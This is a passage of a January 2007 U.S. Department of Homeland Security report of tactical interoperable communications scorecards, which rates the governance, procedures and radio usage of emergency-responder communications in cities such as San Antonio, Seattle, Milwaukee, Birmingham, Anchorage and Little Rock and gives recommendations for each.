San Antonio, TX
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Intermediate Implementation
The San Antonio Urban Area (UA) includes the City of San Antonio, Bexar County, Comal County, and the cities and
jurisdictions within those counties.
Governance: Intermediate Implementation
10%
10%15%
15%
The San Antonio Urban Area Working Group (SUAWG) was established in October 2005 and has a formalized
communications subcommittee. The UA reports a mix of formal and informal partnerships among the public safety
organizations in the area, including a regional mutual aid agreement that involves 71 agencies and the U.S. Department
of the Army. The San Antonio UA is developing a strategic plan for interoperable communications; however, planning
efforts that were initialized in 2004 have yet to yield a strategic plan acceptable to area first responders. The UA
established a shared system before receiving Urban Area Security Initiative funds and has given some consideration to
regional interoperability needs through Department of Homeland Security grant funding. The UA noted that agencies
within the UA develop and maintain their own budget and procure communications interoperability equipment with
consideration for regional interoperable communications. The documentation does not note, however, whether there is
a regionwide plan to budget for interoperable communications. It would be beneficial for the UA to develop a longer
term funding strategic plan to identify diversified and sustainable funding for recurring and lifecycle costs. San Antonio
officials indicated that the field leaders in SUAWG have been directly involved in providing support for
communications interoperability efforts; involvement of senior executive leadership in the UA is not evident from
available documentation.
Recommendations:
•
Consider distributing a formal charter to all participating agencies to clarify roles and responsibilities for all local,
state, and federal participants in the governance structure
•
Establish processes to develop and review agreements (e.g., usage agreements, memoranda of understanding) at
least every 3 to 5 years and after significant events or upgrades to ensure the agreements are up-to-date and
consistent with current needs
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the Tactical
Interoperable Communications Plan [TICP]) with participant approval, adoption, and acceptance that takes into
account a long-term communications funding strategy (in addition to grants)
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Identify long-term (e.g., 3 to 5 years) sustainable funding for communications interoperability in addition to grants
•
Identify a champion(s) that would more fully support a regional strategic plan
•
Involve senior government leadership broadly across the UA on interoperability
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The San Antonio UA incorporated existing communications interoperability policies, practices, and procedures into the
TICP. The UA has taken some steps to distribute and provide training on the SOPs (e.g., distributed through the TICP
Implementation Workshop, made applicable SOPs available with radio caches and gateways) to most of the public
safety organizations in the area; however, the UA did not report directly providing the SOPs to participating TICP
agencies and dispatch centers. Despite having pre-existing SOPs distributed and participating agencies trained on their
use, participants experienced some procedural problems (e.g., missing radio cache battery chargers, patching problems,
initial command identification confusion) during the TICP validation exercise. The San Antonio UA implemented the
10%
10%15%
15%
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
A-93
January 2007
Tactical Interoperable Communications Scorecards
National Incident Management System (NIMS)/Incident Command System (ICS) within the last year. Although the
UA’s NIMS/ICS implementation efforts are not yet well established, it is evident that considerable effort is being made
to attain NIMS compliance. The State of Texas mandated further NIMS/ICS training in 2005, and most of the first
responder community has already participated.
Recommendations:
•
Ensure that the TICP is updated and aligned with regional communications interoperability SOPs (e.g., include a
backup plan for gateway/console patch equipment, review operational talk groups that should be included as shared
talk groups)
•
Develop and distribute regional communications interoperability SOPs (beyond the TICP) and put them into
practice through regular training (e.g., in-service refreshers and basic training courses), exercises, and usage
•
Initiate basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The San Antonio UA demonstrated some ability to use available communications interoperability solutions. For
example, the After Action Report indicated that the radio cache worked satisfactorily during the TICP validation
exercise and was used for most participating agencies that did not otherwise have access to the 800 megahertz (MHz)
radios that could communicate on the primary shared system. A remote incident command vehicle was also used
effectively during the TICP validation exercise. Although the UA reported frequent use of shared channels, gateways,
and shared systems, the TICP validation exercise highlighted some of the deficiencies in San Antonio UA’s first
responders’ ability to adequately demonstrate the proper implementation of available interoperability solutions.
Examples of these deficiencies include the inability of participants to effectively connect two systems through a shared
channel, a console patch failure causing an interruption in communications, and radio cache maintenance and battery
management issues. In addition, the UA used a console patch to connect two systems instead of using shared channels
identified in the TICP.
Recommendations:
•
Regularly test and exercise deployment of regional interoperability resources (e.g., shared channels, gateways) to
improve proficiency in their use
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The San Antonio UA has two major 800 MHz M/A-COM Enhanced Digital Access Communications System trunked
systems. The City of San Antonio and Bexar County share one system, and the counties of Bexar, Guadalupe, and
Comal share the Live Oak Police Department system. Other local agencies use very high frequency systems, and many
public works agencies use the Lower Colorado River Authority 900 MHz system, which covers many counties. Many
interoperability gateways are available in the UA that can be used for interoperable communications. The SUAWG is
working to develop improved communication methods and procedures to improve interoperable communications with
the military. Currently, the military has at least two dissimilar communication systems that are not connected to local
shared systems. Previous incidents requiring interoperable communications among military and non-military agencies
have required use of cached radios and/or deployment of mobile gateways.
Urban/Metropolitan Area
A-94
January 2007
Tactical Interoperable Communications Scorecards
Seattle, WA
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Seattle Urban Area (UA) includes the City of Seattle, King County, portions of Pierce County serviced
by the Tacoma Regional Network, and Snohomish County.
Governance: Intermediate Implementation
10%
10%15%
15%
Governance for regional communications in Seattle is overseen by the Tri-County Voice Communications
Interoperability Oversight Committee. The committee appears to be operating well and is formalized, but it
is not clear that authorities and responsibilities have been established (through a charter) or that the
committee has direct multijurisdictional representation from users beyond system operators. Partnerships
among agencies are provided through a mix of informal and formal agreements, and a strategic plan for
regional interoperability (beyond the operational focus of the Tactical Interoperable Communications Plan
[TICP]) has not been developed. Through an Urban Area Security Initiative grant, some regional
consideration has been given to regionwide communications interoperability needs (e.g., procurement of a
communications vehicle used in the area), as well as long-term planning for grant funding. While this
planning for the use of grants is beneficial, it does not address the need to diversify sustainable funding
sources to provide for recurring and lifecycle costs. Developing a strategic plan for interoperable
communications will require strong leadership. From the available documentation, it is unclear to what
extent local government leaders in the area are involved in supporting communications interoperability
politically or fiscally.
Recommendations:
•
Establish a formal charter to clarify roles and responsibilities for all local, state, and federal participants
within the governance structure
•
Document and formalize agreements (e.g., memoranda of understanding) among all participating
agencies to support partnerships on regional interoperability
•
Develop and document a regional strategic plan (beyond the operational focus of the TICP) with
participant approval, adoption, and acceptance
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Develop, document, and implement a regional long-term interoperability plan with sustainable funding in
addition to grants
•
Identify a champion(s) to establish a governance structure that more fully supports a regional strategic
plan
•
Involve senior government leadership broadly across the area on interoperability
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The Seattle UA has incorporated all previous regional SOPs (some dating back more than a decade) into the
area’s TICP. Although most UA agencies assisted in TICP development and have indicated a high-level of
commitment to the SOPs, it appears the recently established policies, practices, and procedures (established
through TICP process) have not been disseminated to the necessary agencies. However, the UA was still
10%
10%15%
15%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-95
January 2007
Tactical Interoperable Communications Scorecards
able to effectively use the SOPs during the TICP validation exercises. Participants experienced some minor
deficiencies (e.g., Northgate did not observe the “priority” order identified in the TICP to request
interoperable communications equipment). The Seattle UA implemented SOPs in compliance with the
National Incident Management System (NIMS)/Incident Command System (ICS) more than 1 year ago, and
indicated that 95 percent of personnel had participated in NIMS/ICS training. During the TICP validation
exercise, proper adherence to effective command and control SOPs was successfully demonstrated by the
Northgate communications unit while the Kilroy Towers communications unit experienced problems (e.g.,
resource request protocols, Communications Unit Leader integration).
Recommendations:
•
Demonstrate the use of regional communications interoperability SOPs during future exercises (e.g.,
radio cache, shared channels)
•
Ensure that regional communications interoperability SOPs (beyond the TICP) are fully developed
through a comprehensive interoperability plan beyond first responders (e.g., U.S. Coast Guard), and
provide training on these SOPs
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Seattle UA regularly uses the four 800 megahertz (MHz) systems in the area for multi-agency and, to a
lesser extent, multidiscipline communications. In addition, the UA uses shared channels and gateways on a
daily basis. As noted by evaluators, all means of interoperability (e.g., radio caches, gateways, shared
channels, shared systems) were successfully used and demonstrated in the area. For example, during the
TICP validation exercise a Pierce County Sheriff arrived on scene and needed to communicate with the law
branch, the staging manager recognized the need for a cached radio and identified a radio for the Sheriff.
However, some minor problems were also encountered with the use of gateways and radio programming
during the exercise (e.g., patch problems, participant instructed to tune to a channel not programmed on his
radio).
Recommendations:
•
Regularly test and exercise deployment of regional communications interoperability resources to
improve proficiency (e.g., radio cache, shared channels)
•
Practice multijurisdictional and multidiscipline communications during future exercises and day-to-day
activities
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Seattle UA currently uses four Motorola 800 MHz SmartZone™ 4.1 systems for communications in King County,
Snohomish County, Pierce County, and the Port of Seattle. Communications among these radio systems are established
using the Tri-County Regional Interoperability System (TRIS) fixed gateway console patching network. The UA also
uses two other systems. One is a statewide very high frequency conventional system used in conjunction with the
Washington State Patrol. The other is an 800 MHz EF Johnson trunked system that connects them to the Washington
Department of Transportation. Future plans include installation of infrastructure to support a repeated simulcast 800
MHz ICALL/ITAC system. The present capabilities will serve the Seattle UA for many years to come. Currently, the
primary UA concern is 800 MHz rebanding and how that will take place.
Urban/Metropolitan Area
A-96
January 2007
Tactical Interoperable Communications Scorecards
Milwaukee, WI
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Established Implementation
The Milwaukee Urban Area (UA) includes the City of Milwaukee, Milwaukee County, Washington County, and
Waukesha County.
Governance: Intermediate Implementation
10%
10%15%
15%
The Milwaukee Urban Area Working Group includes local, state, and federal participants (e.g., public health, State
Highway Patrol, and Wisconsin Army National Guard). Its Communications Subcommittee is ad hoc, but is codified in
the Tactical Interoperable Communications Plan (TICP). From the information provided, it is unclear whether the
subcommittee includes active state and federal agency participation, which would demonstrate a more advanced degree
of governance maturity. A mix of formal and informal agreements exists within the area, and the UA is working to
expand the formal partnerships (e.g., National Guard SOP is currently under review by the Milwaukee Police
Department). The continued development of documented agreements would support the formalization of these
partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and decisions.
The Milwaukee UA is beginning to develop a strategic plan for interoperable communications. Through federal and
state grants, the organizations within the UA give consideration to regional interoperable communications while
procuring equipment and developing budgets. However, there is no longer term plan for sustainable funding to meet
interoperable communications goals. Although the local leadership is strong (demonstrated through apportioned
funding requests), there are regional leadership differences (limited city and county cooperation) that affect political and
fiscal support.
Recommendations:
•
Expand Communications Subcommittee membership to formally include public support, state, and federal agencies
(e.g., U.S. Coast Guard) and document roles and responsibilities as part of the group
•
Reference all applicable agreements (e.g., memoranda of understanding [MOU], intergovernmental agreements) in
the TICP and store them in an accessible format
•
Document and formalize agreements (e.g., signed MOUs with defined roles and responsibilities) among all
participating agencies to support partnerships on regional interoperability
•
Develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with
participant approval, adoption, and acceptance, that takes into account a long-term communications funding
strategy (in addition to grants)
•
Consider outreach to expand participation in strategic planning process
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) sustainable
funding that is consistent with the strategic plan
•
Continue to broaden and champion a governance structure that will support regional communications
interoperability and involve senior regional government leadership in long-term funding plans
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The SOPs included in Milwaukee’s TICP represent the UA’s first regional consensus plan for interoperable
communications. Although current regional communications interoperability SOPs are limited, the area plans to train
on and has made an effort to disseminate them to the participating organizations. According to the TICP validation
Exercise Evaluation Guide, exercise participants attempted to use both shared channels and fixed gateways, but no area-
10%
10%15%
15%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-97
January 2007
Tactical Interoperable Communications Scorecards
specific procedures are documented in the TICP for these interoperability solutions. The UA began implementing
National Incident Management System (NIMS)/Incident Command System (ICS) less than 1 year ago, which implies
that the UA is still in the earlier stages of implementing NIMS/ICS policies and procedures. Despite the short period of
time during which NIMS/ICS procedures have been in place, the UA demonstrated process familiarity during the TICP
validation exercise. During the course of the exercise, it was noted that participants would have used commercial
cellular technology (i.e., “NEXTELs”) in lieu of shared channels in a real-life response if radio reception were poor;
there are no SOPs in the TICP addressing the use of cellular commercial technology.
Recommendations:
•
Continue to develop and distribute regional communications interoperability SOPs (beyond the TICP) and put them
into practice through regular training, exercises, and usage (e.g., written SOPs needed for shared channels and
gateways)
•
Document, distribute, and verify all points of contact for each agency communications center
•
Consider developing policy on use and limitations of commercial services (e.g., cellular telephones)
•
Consider scheduling a regular review and update process for policies and procedures
•
Initiate basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Established Implementation
15%
20%
20%
20%
The area frequently uses its available means of interoperable communications (i.e., radio cache, gateways, shared
channels, and shared systems). Additionally, officials in the area report proficiency during real-world events (e.g.,
vehicle pursuit crossing city–county borders). During the TICP validation exercise, the participants were able to
establish interoperable communications with minimal difficulty (e.g., poor reception on shared channels, do not have
common talk groups for fire and police). However, because there were no state and federal participants in the exercise,
the area did not fully demonstrate interoperable communications among local, state, and federal agencies in the area.
Recommendations:
•
Regularly test and exercise the deployment of regional interoperability resources (e.g., Milwaukee law enforcement
and fire do not have common talk groups) to improve proficiency
•
Consider including additional state and federal agencies (e.g., Federal Bureau of Investigation) in future exercises
and day-to-day use
•
Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day
activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The UA’s mixture of very high frequency, ultra high frequency, and 800 megahertz (MHz) communications systems
support most agencies in the area. Milwaukee and Waukesha County have individual, trunked, Motorola® SmartNetTM
Type II, 800 MHz communications systems. The City of Greenfield has a Motorola, single site, trunked
communications system. The City of Milwaukee currently uses a conventional system that supports both the
Milwaukee Police and Fire Departments. The area’s main Public Safety Answering Points can make console patches
among supported agencies’ channels and communication systems. Milwaukee County is building out a Project 25
communication system that could replace the old county system. The City of Milwaukee is installing a M/A-COM
OpenSkyTM system to initially support the city’s mobile data needs and later support city agencies with mission-critical
voice communications.
Urban/Metropolitan Area
B-1
January 2007
Tactical Interoperable Communications Scorecards
APPENDIX B
APPENDIX B
APPENDIX B
APPENDIX B: Metropolitan Area
: Metropolitan Area
: Metropolitan Area
: Metropolitan Area Scorecards
Scorecards
Scorecards
Scorecards
The tables included in this appendix outline the results developed for Standard Operating
Procedures (SOP), Usage, and Governance for the 22 metropolitan areas and 5 territories that
developed and exercised TICPs. The results represent the summary assessment of each
Continuum element taking into account critical “sub-elements” identified in the Interoperability
Maturity Measurement Model developed as part of the SAFECOM National Baseline Assessment.
The Baseline approach to defining the aspects of communications interoperability was leveraged to
ensure consistency in the measurement models applied to various Department of Homeland
Security (DHS) initiatives.
In the case of SOPs, the sub-elements include: 1) policies, practices, and procedures and
2) command and control. Usage focuses on the frequency of use and familiarity with
interoperability solutions. Governance focuses on five core sub-elements, including: 1) decision-
making groups, 2) agreements, 3) strategic planning, 4) interoperability funding, and 5) leadership.
Each score can be defined as early, intermediate, established, or advanced implementation of the
given element. Below, general definitions for each score are provided.
First responders regularly
and seamlessly utilize
interoperability solutions.
The region demonstrated
successful multi-agency
communications during
exercise(s), including state,
federal and support
organizations.
First responders use
interoperability solutions
regularly and easily. The
region demonstrated
successful multi-agency (which
may have included state,
federal, and support
organizations) communications
during exercise(s).
First responders use
interoperability solutions
regularly and demonstrated
the ability to achieve multi-
agency communications
despite some challenges
during exercise(s).
Interoperable
communications solutions
are rarely used for multi-
agency communication and
difficulties were encountered
in achieving interoperability
during exercise(s).
Usage
Regional SOPs, reviewed
through the TICP process,
are in place and regularly
used by included
agencies. NIMS procedures
are well established among
all agencies and
disciplines. All procedures
were effectively utilized
during exercise(s).
Existing regional SOPs were
reviewed and included in the
TICP, and are in use by
included agencies. NIMS-
compliant command and
control has been instituted by
all agencies and disciplines in
the region. Despite minor
issues, all SOPs were
successfully demonstrated
during exercise(s).
Some existing SOPs were
incorporated in the TICP and
steps have been taken to
institute these interoperability
procedures among included
agencies. Formal NIMS/ICS
procedures are in place, but
understanding varies among
agencies leading to some
issues during the exercise(s).
Region-wide SOPs were
developed and formalized for
the first time through the
TICP, but have not been
disseminated to all included
agencies. Some elements of
NIMS/ICS procedures for
command and control are in
place, but understanding
varies among agencies and
was an area of difficulty
during exercise(s).
Standard
Operating
Procedures
(SOP)
Decision making bodies
proactively look to expand
membership to ensure
representation from broader
public support disciplines and
other levels of government,
while updating their
agreements and strategic
plan on a regular basis.
Formal agreements outline the
roles and responsibilities of a
decision making group, which
has an agreed upon strategic
plan that addresses
sustainable funding
for collective,
regional interoperable
communications needs.
Some formal agreements
exist and informal
agreements are in practice
among members of a
decision making group;
regional strategic and budget
planning processes are
beginning to be put in place.
Decision making groups are
informal, and do not yet have
a strategic plan in place to
guide collective
communications
interoperability goals and
funding.
Governance
Advanced Implementation
Established Implementation
Intermediate Implementation
Early Implementation
Elements
First responders regularly
and seamlessly utilize
interoperability solutions.
The region demonstrated
successful multi-agency
communications during
exercise(s), including state,
federal and support
organizations.
First responders use
interoperability solutions
regularly and easily. The
region demonstrated
successful multi-agency (which
may have included state,
federal, and support
organizations) communications
during exercise(s).
First responders use
interoperability solutions
regularly and demonstrated
the ability to achieve multi-
agency communications
despite some challenges
during exercise(s).
Interoperable
communications solutions
are rarely used for multi-
agency communication and
difficulties were encountered
in achieving interoperability
during exercise(s).
Usage
Regional SOPs, reviewed
through the TICP process,
are in place and regularly
used by included
agencies. NIMS procedures
are well established among
all agencies and
disciplines. All procedures
were effectively utilized
during exercise(s).
Existing regional SOPs were
reviewed and included in the
TICP, and are in use by
included agencies. NIMS-
compliant command and
control has been instituted by
all agencies and disciplines in
the region. Despite minor
issues, all SOPs were
successfully demonstrated
during exercise(s).
Some existing SOPs were
incorporated in the TICP and
steps have been taken to
institute these interoperability
procedures among included
agencies. Formal NIMS/ICS
procedures are in place, but
understanding varies among
agencies leading to some
issues during the exercise(s).
Region-wide SOPs were
developed and formalized for
the first time through the
TICP, but have not been
disseminated to all included
agencies. Some elements of
NIMS/ICS procedures for
command and control are in
place, but understanding
varies among agencies and
was an area of difficulty
during exercise(s).
Standard
Operating
Procedures
(SOP)
Decision making bodies
proactively look to expand
membership to ensure
representation from broader
public support disciplines and
other levels of government,
while updating their
agreements and strategic
plan on a regular basis.
Formal agreements outline the
roles and responsibilities of a
decision making group, which
has an agreed upon strategic
plan that addresses
sustainable funding
for collective,
regional interoperable
communications needs.
Some formal agreements
exist and informal
agreements are in practice
among members of a
decision making group;
regional strategic and budget
planning processes are
beginning to be put in place.
Decision making groups are
informal, and do not yet have
a strategic plan in place to
guide collective
communications
interoperability goals and
funding.
Governance
Advanced Implementation
Established Implementation
Intermediate Implementation
Early Implementation
Elements
It should be noted that many of the metropolitan areas have progressed in developing
interoperable communications capabilities past the point at which the information for the
scorecards was collected. DHS recognizes the ongoing work in each area and appreciates the
participation that areas had in providing feedback and comments to their scorecards. To the extent
possible, comments were incorporated into the scorecards included in this appendix.
10%5%
5%
5%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
B-2
January 2007
Tactical Interoperable Communications Scorecards
Birmingham (Alabama)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Advanced Implementation
Alabama designated the City of Birmingham as its metropolitan area (area), which includes Calhoun, Clay,
Cleburne, Etowah, Jefferson, St. Clair, and Talladega counties. Major cities located within this area include
Birmingham, Anniston, Gadsden, Pell City and Talladega.
Governance: Intermediate Implementation
10%
10%15%
15%
Birmingham as a whole has developed a fairly robust governance structure for the support of its
communications interoperability. There are multiple governing bodies listed as responsible for creating and
implementing the Tactical Interoperable Communications Plan (TICP) (e.g., Tactical TICP Governance
Group, Communications Work Group, and the Alabama Department of Homeland Security [ADHS] Region
7 Interoperability Team [R7IT]). This many governance bodies can cause confusion, especially in cases like
Birmingham in which the roles and responsibilities among them are undefined. It also appears the
governance groups require further regional cooperation to ensure locally driven decision-making (e.g., the
ADHS seems to have ultimate decision-making authority, although review power and implementation
responsibility fall to the local R7IT) and complete participation from agencies in the area (e.g., Jefferson
County’s limited participation in the regional TICP). The area has recently developed formal agreements
supporting a mix of formal and informal partnerships among the area’s public safety organizations. These
agreements mark a positive step in moving towards regional cooperation. Although agencies in the area set
budget priorities with communications interoperability goals, the area relies mainly on federal grant monies
with support from local resources. The area reports developing a strategic plan, which may be an
amalgamation of the two disparate plans resulting from the combination of the original two TICPs submitted
for the area. According to the TICP Peer Review, Jefferson County initially wrote its own plan, separate
from the Region 7 plan. The area receives funding from both federal grants and local resources, and appears
to budget with consideration for regional interoperability goals. Alabama’s leadership has demonstrated
political and fiscal support for public safety interoperability by obtaining federal grant funds, without any
designated Urban Area Security Initiative sites in the state, but the level of participation and support from
local leaders as champions for achieving communications interoperability across the area is unclear.
Recommendations:
•
Clarify the decision-making authority and implementation responsibilities of the governing bodies (e.g.,
R7IT, Region 7 Homeland Security Task Force, Communications Work Group) through a formalized
charter and ensure local first responder participation in groups with decision-making authority
•
Implement newly developed regional interoperability agreements (e.g., memoranda of understanding),
involve all participant agencies, and review these agreements at least every 3 to 5 years and after
significant events or upgrades to ensure they address current needs
•
Consider distributing a unified regional strategic plan (beyond the operational TICP), including Jefferson
County, with participant approval, adoption, and acceptance that takes into account a long-term
communications funding strategy (beyond grants)
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Consider the direct involvement of an executive-level local official(s), with political and fiscal authority
to specifically focus on interoperable communications
15%
20%
20%
20%
10%
10%15%
15%
Urban/Metropolitan Area
B-3
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
Birmingham was successful in incorporating and updating existing policies and procedures (developed in late
1990s) into the submitted TICP. The TICP is very detailed for each county in the area. However, it appears
that the area is developing multiple TICPs (one for each county), rather than a consolidated regional plan. It
is feasible that having such distinct county-specific plans could complicate rather than simplify attempts to
achieve interoperable communications across the area. The area has plans in place to disseminate the various
county procedures throughout the area once completed. The area also reports broad adoption of the National
Incident Management System (NIMS)/Incident Command System (ICS). The real-world exercise used to
test the TICP identified some procedural gaps in command and control (e.g., inconsistent updating of ICS
205 forms, use of 10-codes rather than plain language), which leads to the conclusion that full adoption of
the SOPs is still developing.
Recommendations:
•
Once completed, distribute unified regional interoperability SOPs (beyond those compiled in the TICP),
and put them into practice with all first responders (e.g., emergency medical services [EMS]) through
regular training (e.g., in-service refreshers and basic training courses), exercises, and usage
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) and to ensure that all participating first responder agencies
attain and maintain NIMS/ICS compliance
Usage: Advanced Implementation
Birmingham reports daily use of its available means of interoperable communications (e.g., gateways, shared
channels, and shared systems) and was effective in establishing interoperable communications during its
exercise. Because the TICP validation exercise was held in conjunction with a real-world event, there were
artificial constraints placed on the exercise that did not allow robust testing of participants’ familiarity with
interoperable communications equipment. Participants across all disciplines and levels of government were
involved in the exercise (e.g., Federal Bureau of Investigation, Sheriffs, EMS, and Fire) and were able to
establish interoperable communications with available interoperability equipment and solutions.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area's existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Birmingham area has five shared radio systems supporting public safety operations. Systems operating in the area
include one 800 megahertz (MHz) M/A-COM, Enhanced Digital Access Communications System, three 800 MHz
Motorola SmartZone™ systems, and one ultra high frequency statewide repeater system. Both Birmingham and
Jefferson County use 800 MHz Motorola SmartZone systems. In addition, the area routinely relies on the
SouthernLINC commercial wireless system to provide law enforcement and public safety officials with voice and data
wireless communications. Regional interoperability is achieved through the use of shared systems, shared channels,
gateways, and cached radios. The Interoperable Communications Technical Assistance Program is not active in the
Birmingham area, and information regarding their current and future communications initiatives is currently unknown.
Urban/Metropolitan Area
B-4
January 2007
Tactical Interoperable Communications Scorecards
Anchorage (Alaska)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Advanced Implementation
Alaska designated the Municipality of Anchorage as its metropolitan area (area).
Governance: Established Implementation
15%
20%
20%
20%
Anchorage’s Interoperable Communications Steering Committee (ICSC) was established to make
communications decisions related to funding, policy, training, exercises, and compliance. The ICSC has an
Operations Working Group and a Technology Working Group with representation from local, state, and
federal agencies. Anchorage should be commended for having broad representation (local, state, and federal)
on its Alaska Land Mobile Radio (ALMR) system; however, greater federal representation of system users
may be required in the ICSC. The public safety agencies in Anchorage have some formal and informal
agreements among the jurisdictions in the area. Anchorage has a formal strategic plan that incorporates
interoperable communications and is accepted by participating agencies. It is unclear, however, whether the
area regularly revises the plan or whether the plan is aligned with a long-term funding strategy. The area has
been successful in acquiring federal grants and issuing bonds to execute parts of its funding strategy, which
should be incorporated into a longer-term funding plan (i.e., covering more than 2 years). Anchorage’s
leadership has demonstrated political and fiscal support through its issuance of bonds dedicated to
communications interoperability.
Recommendations:
•
Investigate the possibility of more formal involvement of state and federal organizations in the decision-
making group (e.g., consider conducting executive-level tabletop exercise), and document roles and
responsibilities, as appropriate
•
Document and formalize agreements (e.g., memorandum of understanding) among all participating
agencies to support partnerships on regional interoperability
•
Establish a process to review the strategic plan annually to ensure that interoperable communications
goals are met
•
Align local and statewide strategic planning efforts to ensure the regional interoperability needs are met
•
Continue to support and enhance the regional interoperability funding strategy and methods, including
additional long-term (e.g., 3 to 5 years) funding sources that align with strategic planning efforts
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
In creating the Tactical Interoperable Communications Plan (TICP), the area built on the existing TriBorough
Regional Mutual Aid agreements. Since the completion of the TICP, however, Anchorage has yet to
disseminate the new regional SOPs to all included organizations. Not doing so could potentially cause
confusion should there be any differences in the pre-existing SOPs upon which the TICP is built. The
National Incident Management System (NIMS)/Incident Command System (ICS) was implemented more
than 1 year ago in the area, and all first responder agencies are included in the practice and training. During
the TICP validation exercise, the area was successful in demonstrating command and control and the
Communications Unit Leader (COML) responsibilities. For example, a unified command was quickly
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
B-5
January 2007
Tactical Interoperable Communications Scorecards
created with an incident commander, and the COML was designated and his role communicated to all
exercise participants. The COML completed, updated, and distributed the ICS Form 205, which is the
incident radio communications plan.
Recommendations:
•
Ensure all regional interoperability SOPs are incorporated into the TICP and distributed to participating
agencies
•
Regularly practice SOPs to increase proficiency in implementation
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
The public safety agencies in the area have demonstrated a clear dedication to implementing interoperable
communications solutions and a familiarity with the area’s current technology. Interoperability solutions are
used on a daily basis and frequently during task force events. During the TICP validation exercise, the
participants effectively used their interoperable communications assets across all levels of government and
types of support disciplines (e.g., Anchorage Water and Wastewater Utility, Federal Aviation
Administration). They distributed and provided instructions on the radio cache; created a patch using a
gateway between Fire and Police; and demonstrated familiarity with the area’s shared systems. For example,
during the TICP validation exercise, a patch was set up between Anchorage Fire Department and Police
Department that served as the command channel for unified command to emergency operations center
communications. Additionally, the HearNet shared channel was used to communicate among hospitals. This
channel is tested on a weekly basis, which is a strong indication of familiarity and frequency of use.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The State of Alaska designed a statewide very high frequency, Project 25 (P25), trunked radio communications system
several years ago in cooperation with the Department of Defense (DoD). This system, known as the ALMR system, is
being built slowly as funding becomes available and includes local, state, federal, and DoD users. The largest
jurisdiction of this area, the Municipality of Anchorage, is proceeding with its own development and installation of an
800 megahertz, P25, trunked system.
The State of Alaska and DoD plan to connect to the Anchorage system via a gateway. This will increase the potential
for interoperability in areas that enjoy overlapping signal coverage with these two systems.
Urban/Metropolitan Area
B-6
January 2007
Tactical Interoperable Communications Scorecards
Little Rock (Arkansas)
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
Arkansas designated Little Rock as its metropolitan area (area), which includes Pulaski County and the cities
of Cammack Village, Jacksonville, Little Rock, Maumelle, North Little Rock, Shannon Hills, Sherwood, and
Wrightsville.
Governance: Advanced Implementation
The Little Rock Metropolitan Area Working Group developed the Tactical Interoperable Communications
(TICP) and includes operations and technical subcommittees for interoperable communications. The area
has exclusively formal agreements (e.g., mutual aid agreement with State Emergency Management
Department) among public safety organizations, and a review process in place to regularly update these
agreements every 3 to 5 years. Although strategic planning efforts have been underway since 1996, the area
does not yet have a published strategic plan for regional interoperability. Through a locally funded bond and
federal and state grants, jurisdictions procure equipment and develop budgets with consideration for the
regional interoperability; fiscal priorities have been clearly articulated in area’s municipal bond. In addition
to federal grant monies, the area is consistently awarded several state grants, and a voter-approved bond
program is in place to fund communications interoperability equipment, training, and operations. The senior
level leaders in the area serve as interoperability advocates and act to ensure continued political and fiscal
support.
Recommendations:
•
Reference all applicable agreements (e.g., memoranda of understanding, intergovernmental agreements)
in the TICP and store them in an accessible format
•
